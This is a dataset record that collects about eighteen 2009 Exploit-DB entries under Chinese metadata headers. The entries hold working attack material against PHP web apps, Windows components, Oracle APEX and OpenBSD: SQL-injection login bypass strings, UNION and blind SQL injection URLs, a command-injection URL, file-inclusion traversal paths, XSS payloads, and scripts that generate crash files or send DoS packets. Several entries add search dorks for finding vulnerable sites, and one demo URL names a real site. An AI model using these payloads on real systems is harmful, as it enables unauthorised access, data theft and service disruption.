QLWD/code_shield huggingface dataset:
标题: chCounter 3.1.3 - Authentication Bypass EDB-ID: 8461 CVE: 2009-1362 2009-1347 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: ########################################################################################################################
#chCounter 3.1.3 Login Bypass
#=======================================================================================================================
#
#Critical Level : Dangerous
#
#Vendor site : http://chcounter.org/
#
#Download : http://chcounter.org/chCounter3/getfile.php?id=5
#
#dorks: "chCounter 3.1.3" KÃ¼nftig automatisch einloggen or "chCounter 3.1.3"
#
#=======================================================================================================================
#
#
#Information :
#--------------------------------
#Need: magic quotes = off
#
#Exploit :
#--------------------------------
#
#http://www.[URL]//counter/stats/index.php
#
#Use or '=' as username and password
#
#=======================================================================================================================
#Discovered by : -tmh- & Lainux
#
#Contact : tmh[at]sys-flaw.com
#
#Greetz to : n00bor , activebeta, Five-Three-Nine ,GabberGandalf, J0hn.X3r , electron1x , Lainux, PurpleD1amond , Sebo , Z1uX , meckl , Floo , -Patrick_B ,
#abcdef ,Loader007 , bizzit , Barbers , dev0815 , f0Gx , h0yt3r , Nemo , eddy14 , Sys-Flaw , Codesoft ,Free-Hack
#
#
########################################################################################################################

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8461
标题: Tiny Blogr 1.0.0 rc4 - Authentication Bypass EDB-ID: 8464 CVE: 2009-1453 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-17 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: Tiny Blogr
[+] Version: 1.0.0 rc4
[+] Website: http://tinyblogr.sourceforge.net

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 17 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: class.eport.php

This bug allows a guest to bypass the authentication
system.


*************************************************

[+] Code


- [A] Authenticaion Bypass

Username: admin'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-17] URL: https://www.exploit-db.com/exploits/8464
标题: Microsoft GDI Plugin - '.png' Infinite Loop Denial of Service (PoC) EDB-ID: 8466 CVE: 2009-1511 类型: DOS 平台: WINDOWS 发布日期: 2009-04-17 漏洞利用脚本: #!/usr/bin/perl
#CAL_gdiplug_poc.pl
#
# Mircosoft_gdiplug_png_infinity_loop_D.o.S POC
# by Code Audit Labs public 2009-04-17
# http://www.vulnhunt.com/
# 
#Affected
#========
#test on full updated winxp sp3
#other version should be affected
#
#CVE: please assign to a CVE number
#
#DESCRIPTION
#===========
#
#  The vulnerability exists within the code in MicroSoft Gdi+ processing crafted png file. that cause infinity loop to cause high CPU(100%) and D.o.S . 
#
#
#ANALYSIS
#========
#
#  png chunk
#
# {
# DWORD btChunkLen;
# CHAR btChunkType[4];
#} CHUNK_HEADER;

#if btChunkLen is 0xfffffff4, would cause code fall into infinity loop
#

open(Fin, ">poc.png") || die "can't create crash sample.$!";
binmode(Fin);
$data = 
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52" .
"\x00\x00\x03\x00\x00\x00\x04\x00\x08\x02\x00\x00\x00\xd9\x44\xa9" .
"\x57\xff\xff\xff\xf4\x41\x41\x41\x41\x62\x01\x08\xcb\x06\x49\x3e" .
"\xd7\x0a\x00\x22\xe3\xf1\x32\x3e\xe8";

print Fin $data;

close(Fin);

# milw0rm.com [2009-04-17] URL: https://www.exploit-db.com/exploits/8466
标题: Oracle APEX 3.2 - Unprivileged DB users can see APEX Password hashes EDB-ID: 8456 CVE: 2009-0981 类型: LOCAL 平台: MULTIPLE 发布日期: 2009-04-16 漏洞利用脚本: Unprivileged DB users can see APEX password hashes in FLOWS_030000.WWV_FLOW_USER [CVE-2009-0981]

Name    Unprivileged DB users can see APEX password hashes in FLOWS_030000.WWV_FLOW_USER [CVE-2009-0981]
Systems Affected  APEX 3.0 (optional component of 11.1.0.7 installation)
Severity   High Risk
Category   Password Disclosure
Vendor URL   http://www.oracle.com/
Author    Alexander Kornbrust (ak at red-database-security.com)
CVE    CVE-2009-0981
Advisory   14 April 2009 (V 1.00)


Details
Unprivileged database users can see APEX password hashes in FLOWS_030000.WWV_FLOW_USER.
Tested on 11.1.0.7.

C:\> sqlplus dummy/dummy
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.7.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options

SQL> select granted_role from user_role_privs;

GRANTED_ROLE
------------------------------
CONNECT


SQL> select owner,table_name from all_tables where owner='FLOWS_030000';

OWNER TABLE_NAME
------------------------------ ------------------------------
FLOWS_030000 WWV_FLOW_DUAL100
FLOWS_030000 WWV_FLOW_LOV_TEMP
FLOWS_030000 WWV_FLOW_TEMP_TABLE



Get a list of all columns containing the string "%PASSWORD%'

SQL> select owner||'.'||table_name||'.'||column_name from all_tab_columns where column_name like '%PASSWORD%' and owner like '%FLOWS_0300%';

OWNER||'.'||TABLE_NAME||'.'||COLUMN_NAME
--------------------------------------------------------------------------------
FLOWS_030000.WWV_FLOW_USERS.CHANGE_PASSWORD_ON_FIRST_USE
FLOWS_030000.WWV_FLOW_USERS.FIRST_PASSWORD_USE_OCCURRED
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD_RAW
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD2
FLOWS_030000.WWV_FLOW_USERS.WEB_PASSWORD
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_DAYS
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_LIFESPAN_ACCESSES
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_ACCESSES_LEFT
FLOWS_030000.WWV_FLOW_USERS.PASSWORD_DATE

9 rows selected.


SQL> select user_name,web_password2 from FLOWS_030000.WWV_FLOW_USERS

USER_NAME WEB_PASSWORD2
--------------------------------------------------------------------------------
YURI 141FA790354FB6C72802FDEA86353F31

This password hash can be checked using a tool like Repscan.


Patch Information
Apply the patches for Oracle CPU April 2009.


History
13-jan-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Oracle published CPU April 2009 [CVE-2009-0981]
14-apr-2009 Advisory published

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8456
标题: Apache Geronimo 2.1.3 - Multiple Directory Traversal Vulnerabilities EDB-ID: 8458 CVE: 2008-5518 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-04-16 漏洞利用脚本: Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-018

Application:                Apache Geronimo Application Server
Versions Affected:          2.1 - 2.1.3
Vendor URL:                 http://geronimo.apache.org/
Bug:                        Directory Traversal File Upload
Exploits:                   YES
Reported:                   10.12.2008
Vendor response:            10.12.2008
Solution:                   YES
Date of Public Advisory:    16.04.2009
CVE-number:                 2008-5518
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

Geronimo Server Console multiple Directory Traversal vulnerabilities.

A vulnerability was found in several portlets including Services/Repository, Embedded 
DB/DB Manager, and Security/Keystores when running on a Windows server.  This issue may 
allow a remote attacker to upload any file in any directory.

This affects all full JavaEE Geronimo releases or other distributions which include the 
administration web console up to and including Geronimo 2.1.3.



Details
*******

1. Directory Traversal vulnerability found in script /console/portal//Services/Repository

Vulnerable parameters: "group", "artifact", "version", "fileType".

This issue may allow attacker to upload any file to any directory at remote server.


2. Directory Traversal vulnerability found in script /console/portal/Embedded DB/DB Manager

Vulnerable parameter "createDB".


3. Directory Traversal vulnerability found in script

/console/portal//Security/Keystores/__pm0x3console-base0x2Keystores!824133314|0_view/__rp0x3console-base0x2Keystores!824133314|0_mode/createKeystore

Vulnerable parameter "filename".



Solution
********

This security vulnerabilities fixed in Geronimo 2.1.4 release.

New version of Geronimo 2.1.4 can be downloaded from this location:

http://geronimo.apache.org/downloads.html

An alternative workaround (if you choose to not upgrade to Apache Geronimo 2.1.4) would 
be to stop or undeploy the administration web console application in the server.


Credits
*******

http://geronimo.apache.org/21x-security-report.html#2.1.xSecurityReport-214



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, 
audit and penetration testing services, risk analysis and ISMS-related services and certification for 
ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability 
reports, advisories and whitepapers posted regularly on our website.

Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8458
标题: NetHoteles 3.0 - 'ficha.php' SQL Injection EDB-ID: 8457 CVE: 2009-1346 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
NetHoteles v3.0  (ficha.php) SQL Injection Vulnerability 
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:
http://www.sierracazorla.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
Demo:
http://www.sierracazorla.com/nethoteles/publico/ficha.php?id_establecimiento=-13%27+UNION%20SELECT%201,2,3,4,5,6,concat(@@version,0x3a,user(),0x3a,database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+admin/*
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8457
标题: DNS Tools (PHP Digger) - Remote Command Execution EDB-ID: 8454 CVE: 2009-1916 2009-1361 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: ############################################################################################
[+] DNS Tools (PHP Digger) Remote Command Execution
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
############################################################################################

[+] Remote Command Execution

 - Vulnerable code in dig.php

------------------------------------------
$ns  = $_GET['ns'];

 system ("dig @$ns $host $query_type");
------------------------------------------

We can execute commands via "ns" variable.Just use || before and after
the command.

 PoC :

  http://127.0.0.1/dig.php?ns=||COMMAND HERE||&host=mortal-team.net&query_type=NS&status=digging

 Example :

  http://127.0.0.1/dig.php?ns=||whoami||&host=mortal-team.net&query_type=NS&status=digging

############################################################################################

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8454
标题: SMA-DB 0.3.13 - Multiple Remote File Inclusions EDB-ID: 8460 CVE: 2009-1452 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: SMA-DB 0.3.13 Multiple Remote File Inclusion Vulnerabilities
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://bluevirus.ch/media/downloads/SMA-DB_v0.3.13.zip

- about SMA-DB:

Written in PHP4: SMA-DB is a Database to manage yours and 
see or loan your friends movies and software. Equiped with 
an auto-complete function it is easy to add movies to the 
database. Designed for modern browsers on PC (i.e. Firefox, 
IE 5.5+, Opera 7+) , Mac (ie. Firefox, Opera 7+, Safari) or 
PDA (i.e. PocketIE, Opera 8.5, not with Minimo).

Current version: 0.3.13
Last update: 04.02.2009  

~ [RFI]

http://target/path/theme/format.php?_page_css=[shell.txt?]
http://target/path/theme/format.php?_page_javascript=[shell.txt?]
http://target/path/theme/format.php?_page_content=[shell.txt?]

 __h0__

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8460
标题: CPCommerce 1.2.8 - 'id_document' Blind SQL Injection EDB-ID: 8455 CVE: 2009-1345 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-16 漏洞利用脚本: ==========================================================================================


  [o] cpCommerce 1.2.8 Blind SQL Injection Vulnerability

       Software : cpCommerce version 1.2.8
       Vendor   : http://cpcommerce.cpradio.org/
       Download : http://cpcommerce.cpradio.org/downloads.php
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


==========================================================================================


  [o] Vulnerable file

       document.php



  [o] Exploit

       http://localhost/[path]/document.php?id_document=[SQL]
       http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=4
       http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=5



  [o] Dork

       "Powered by cpcommerce"


==========================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org ]
       OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
       Special for Vrs-hCk [ thx cuy.. :p ]

        
==========================================================================================

# milw0rm.com [2009-04-16] URL: https://www.exploit-db.com/exploits/8455
标题: Zervit Web Server 0.02 - Remote Buffer Overflow (PoC) EDB-ID: 8447 CVE: 2009-1353 类型: DOS 平台: WINDOWS 发布日期: 2009-04-15 漏洞利用脚本: ####################  Zervit Webserver 0.02  Buffer Overflow   ############################


############### By:      e.wiZz!

###############Site:   www.balcansecurity.com


############### Found with ServMeNot (world's sexiest fuzzer :P )



In the wild...

########################################################################################

######Vend0r site: http://www.ohloh.net/projects/mereo


/* When requested uri isn't found,it goes to char tmp[255],
and later it is used to output,you need 256 chars to overflow (check source "http.c") */

using System;
using System.IO;
using System.Net;
using System.Text;

class whatsoever
{
    static void Main()
    {
        // StringBuilder sb = new StringBuilder();

        //byte[] buf = new byte[8192];

        Console.WriteLine("Enter site: (http://localhost)");
        string sajt = Console.ReadLine();
        string uribad = "/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
        HttpWebRequest request = (HttpWebRequest)
           
            WebRequest.Create(sajt+uribad);

        HttpWebResponse response = (HttpWebResponse)
            request.GetResponse();
        // you shouldn't see response
        Console.WriteLine(sb.ToString());
    }
}

// milw0rm.com [2009-04-15] URL: https://www.exploit-db.com/exploits/8447
标题: FreeWebShop.org 2.2.9 RC2 - 'lang_file' Local File Inclusion EDB-ID: 8446 CVE: 2009-2338 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-15 漏洞利用脚本: =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::FreeWebshop.org 2..2.9_R2
-------------------------------------------------
Author: ahmadbady

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
download from:http://chaozz.deepunder.dk/released/freewebshop/FreeWebshop.org2.2.9_R2.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=--=-=-=-=-=-=-=-==-=-=
vul: /includes/startmodules.inc.php line 31;

include ("./".$lang_file);

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=
xpl:
/path/includes/startmodules.inc.php?lang_file=.../../../../etc/passwd
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=-=-=-

dork:
"FreeWebshop.org | This is the Footer | Â©2008-2009"
"FreeWebshop.org | This is the Footer |"

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-04-15] URL: https://www.exploit-db.com/exploits/8446
标题: Microsoft Windows Media Player - '.mid' Integer Overflow (PoC) EDB-ID: 8445 CVE: 2009-1331 类型: DOS 平台: WINDOWS 发布日期: 2009-04-15 漏洞利用脚本: #!/usr/bin/perl
#
# Windows Media Player (.mid file) Integer Overflow PoC
# By HuoFu
#
# Test Windows Media Player.  Ver: 11.0.5721.5260
#

open(Fin, ">crash.mid") || die "can't create crash sample.$!";

$data = "\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54".
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61".
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d".
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60".
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6".
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40".
"\x00\xff\x2f\x00";

print Fin $data;

close(Fin);

# milw0rm.com [2009-04-15] URL: https://www.exploit-db.com/exploits/8445
标题: GuestCal 2.1 - 'index.php?lang' Local File Inclusion EDB-ID: 8431 CVE: 2009-1319 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-14 漏洞利用脚本: ##################################################################################
[+] GuestCal 2.1 (index.php lang) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
##################################################################################

[+] Download script : http://guestcal.com/de/download

[+] Local File Inclusion

 - PoC :

 http://127.0.0.1/index.php?year=2009&object=1&lang=../../../../../BOOTSECT.BAK%00

##################################################################################

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8431
标题: OpenBSD 4.5 - IP datagram Null Pointer Deref Denial of Service EDB-ID: 8430 CVE: 2009-0687 类型: DOS 平台: OPENBSD 发布日期: 2009-04-14 漏洞利用脚本: import sys
from scapy import *
victim=sys.argv[1]
icmpv6=58
p=IP(dst=victim)
p.proto=icmpv6
sr(p,timeout=1)

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8430
标题: ablespace 1.0 - Cross-Site Scripting / Blind SQL Injection EDB-ID: 8424 CVE: 2009-1316 2009-1315 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-14 漏洞利用脚本: riginal advisory:  http://dsecrg.com/pages/vul/show.php?id=137

Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-037

Application:                    AbleSpace
Versions Affected:              1.0
Vendor URL:                     http://abk-soft.com/
Bugs:                           Multiple Blind SQL Injections, Multiple XSS
Exploits:                       YES
Reported:                       18.03.2009
Vendor Response:                NONE
Secondly Reported:              29.03.2009
Solution:                       NONE
Date of Public Advisory:        14.04.2009
Author:                         Eugene "Corwin" Ermakov
                                Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Details
*******

1. Multiple Blind Sql Injections

1.1 Attacker can inject SQL code in events_view.php vulnerable parametr eid

Example:
http://[server]/[installdir]/events_view.php?eid=69'

1.2 Attacker can inject SQL code in events_clndr_view.php vulnerable parametr id

Example:
http://[server]/[installdir]/events_clndr_view.php?id=1 and substring(@@version,1,1)=4
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select password from user where name='Mike'),1,1)) between 97 and 103
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select concat_ws(0x3a,name,password) from user where name='Mike'),1,1)) =77
http://[server]/[installdir]/events_clndr_view.php?id=1 and ascii(substring((select concat_ws(0x3a,name,password) from user where user_id=1),1,1)) between 1 and 200


2. Stored XSS

2.1 Vulnerability found in script blogs_full.php

Example:
<IMG SRC=javascript:alert('XSS')>

3. Multiple Linked XSS

3.1 Linked XSS vulnerabiliies found in groups_profile.php. GET parameter "gid"

Example:
http://[server]/[installdir]/groups_profile.php?gid=311"><script>alert()</script>

3.2 Linked XSS vulnerabiliies found in adv_cat.php. GET parameter "cat_id", "razd_id"

Example:
http://[server]/[installdir]/adv_cat.php?cat_id=4"><script>alert()</script>&razd_id=45"><script>alert()</script>



Solution
********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk
analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted
regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8424
标题: MonGoose 2.4 (Windows) - WebServer Directory Traversal EDB-ID: 8428 CVE: 2009-1354 类型: REMOTE 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: ######################### MonGoose 2.4 (win) webserver Directory Traversal  ###################



######By:  e.wiZz!

######Site: www.balcansecurity.com



Found with ServMeNot (world's sexiest fuzzer :P)




In the wild...

#########################################################################################

[Info]: Easy to use web server for Windows and UNIX. Mongoose provides simple and clean API
 for embedding it into existing programs. Targeting Web application developers, embedded system developers,
 and people who need to setup file sharing quickly.

[Site]: http://code.google.com/p/mongoose/


[Vulnerability]:  

http://[localhost]/../../../../../../boot.ini

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8428
标题: PowerCHM 5.7 - Long URL Local Stack Overflow (PoC) EDB-ID: 8434 CVE: 2009-1352 类型: DOS 平台: WINDOWS 发布日期: 2009-04-14 漏洞利用脚本: <html>
<body>
<br>
<font style="font-family:arial;font-size:24px">PowerCHM 5.7 (Long url) Local stack overflow (SEH) POC</font><br>
<font style="font-family:arial;font-size:19px">found By SuB-ZeRo (fbh@hotmail.com) thnaks to hisok4</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:12px">Greetz:All friends and muslims HackeRs secdz.com</font><br>
<br>

<script language="JavaScript">
var crash = "http://";

for (i=0;i<9000;i++) crash +="%41";

crash += "/test.rar"

document.write ('<a href="' + crash + '">B00M!</a>');

</script>
</body>
</html>

# milw0rm.com [2009-04-14] URL: https://www.exploit-db.com/exploits/8434